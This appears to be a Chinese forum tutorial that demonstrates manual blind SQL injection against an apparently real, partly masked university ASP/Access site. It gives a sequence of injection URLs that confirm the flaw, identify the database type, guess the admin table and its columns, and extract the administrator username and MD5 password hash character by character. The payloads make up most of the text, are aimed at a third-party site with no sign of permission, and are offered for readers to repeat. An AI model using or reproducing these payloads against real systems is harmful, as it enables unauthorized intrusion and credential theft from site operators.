ASP+acc手工注入
SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。
我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。 下面以这个网址为例: http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常 http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误 1=1是一个真,1=2是一假,所以会返回一个正常一个错误。 SQL数据就会变成如下: select * from 表名 where 字段='24' 或者: http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='1' http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='2' 注入存在了,判断数据库是ACC或MSS的,利用系统表 ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects, 在WEB环境下有访问权限。对于以下两条语句: http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0 http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0 若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。 我们提交后两条后都为异常,可以判断为ACC的数据库。 图3。 http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0 如果表名存在就会返回正常,反页错误。 刚开始我提交: http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0 返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常: http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0 说明存在article_admin这个表。 猜列名: and (select count(字段名) from article_admin)>0 提交: http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0 返回了正常,接着提交: http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0 返回了正常,说明存在username和password这两个字段名。 猜用户名和密码长度; http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5 返回正常,说明username内容长度为5 http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16 正常,password内容长度为16,也就是MD5的值。 猜用户名和密码内容: http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97 返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。 猜第二位把username,1,1改成username,2,1就可以了。 猜密码把username改成password就OK了。 |